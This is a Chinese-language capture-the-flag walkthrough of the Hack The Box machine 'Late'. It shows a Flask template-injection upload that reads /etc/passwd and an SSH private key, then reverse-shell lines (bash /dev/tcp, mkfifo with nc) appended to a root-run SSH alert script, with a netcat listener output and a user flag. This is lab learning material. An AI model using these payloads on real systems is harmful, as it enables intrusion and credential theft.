nmap -v -sV 10.10.11.156
發現兩個端口
22/tcp ssh
80/tcp http
打開網頁
發現個地址,打不開,
images.late.htb
在 hosts 加上地址
10.10.11.156 images.late.htb
打開後,一個文件上傳地址
上傳文件發現只能上傳 PNG 格式文件,其他文件在 browse 會不顯示
上傳後,發現了他的上傳文件路徑
Error occured while processing the image: cannot identify image file '/home/svc_acc/app/uploads/test.png1500'
發現這是 Flask 框架
利用圖片轉 text 的功能,試一下能否執行
{{3+3}}
{{3*3}}
上傳後,下來看到 text 內容
把語句轉換成圖片,成功{{url_for.__globals__.__builtins__.open("/etc/passwd").read()}}
svc_acc❌1000:1000 Account:/home/svc_acc:/bin/bash
發現有個 svc_acc 用戶可用,看一下目錄下 .ssh 中是否有密鑰:{{url_for.__globals__.__builtins__.open("/home/svc_acc/.ssh/id_rsa").read()}}
新建文件 id_rsa,複製進去,刪掉後綴名
就用這個密鑰進行 ssh 連接
chmod 600 id_rsa
svc_acc
得到 shell#
ssh svc_acc@10.10.11.156 -i id_rsa
進來就看到了 user.txt
svc_acc@late:~$ cat user.txt
ab33ccd06cbd67114d219eceae59f08c
find / -perm -u=s -type f 2>/dev/null
查看權限和 SUID 文件:
使用 linpeas.sh 枚舉一下
chmod -x linpeas.sh
./linpeas.sh > out.txt
使用 LinPEAS,注意到一個有趣的文件名為由 root 用戶運行,每次有人連接到 SSH 時都會運行。/usr/local/sbin
根據提示,找到這裡這個腳本
可以嘗試在裡面加上一個反彈 shell,然後再次連接,可以獲得 root
先創建一個文件svc_acc@late:~$ touch file.txtsvc_acc@late:~$ ls -la<br />-rw-rw-r — 1 svc_acc svc_acc 0 May 26 12:27 file.txt
編輯文件並向其中添加反向 shell 有效負載svc_acc@late:~$ vim file.txt# here we addbash -i >& /dev/tcp/$ip/端口 0>&1
將您創建的文件附加到 ssh 警報文件並檢查是否已完成此操作svc_acc@late:~$ cat /home/svc_acc/file.txt >> /usr/local/sbin/ssh-alert.shsvc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh<br />#!/bin/bashRECIPIENT=”[email protected]”<br />SUBJECT=”Email from Server Login: SSH Alert”BODY=”<br />A SSH login was detected.User: $PAM_USER<br /> User IP Host: $PAM_RHOST<br /> Service: $PAM_SERVICE<br /> TTY: $PAM_TTY<br /> Date:
date<br /> Server:
uname -a<br />“if [ ${PAM_TYPE} = “open_session” ]; then<br /> echo “Subject:${SUBJECT} ${BODY}” | /usr/sbin/sendmail ${RECIPIENT}<br />fi**bash -i >& /dev/tcp/$ip/端口 0>&1**
附加到文件中。在本地機器上設置一個 netcat 監聽,然後再次通過 SSH 再次連接,以觸發 root 執行 ssh 文件。
┌──(kali ㉿ kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.156] 59010
bash: cannot set terminal process group (29224): Inappropriate ioctl for device
bash: no job control in this shell
拿到 root#
root@late:/# whoami
whoami
root
root@late:/root# cat root.txt
cat root.txt
參考文章
https://systemweakness.com/hack-the-box-late-walkthrough-1a496ad6e13e
筆記:#
{{3+3}}
{{3*3}}
{{url_for.globals.builtins.open("/etc/passwd").read()}}
{{url_for.globals.builtins.open("/home/svc_acc/.ssh/id_rsa").read()}}
find / -perm -u=s -type f 2>/dev/null
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&l|nc
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&l|nc 10.10.14.3 1234 >/tmp/f" >> /usr/local/sbin/ssh-alert.sh
echo "sh -i >& /dev/tcp/10.10.14.3/4444 0>&1" >> /usr/local/sbin/ssh-alert.sh
bash -i >& /dev/tcp/10.10.14.3/4444 0>&1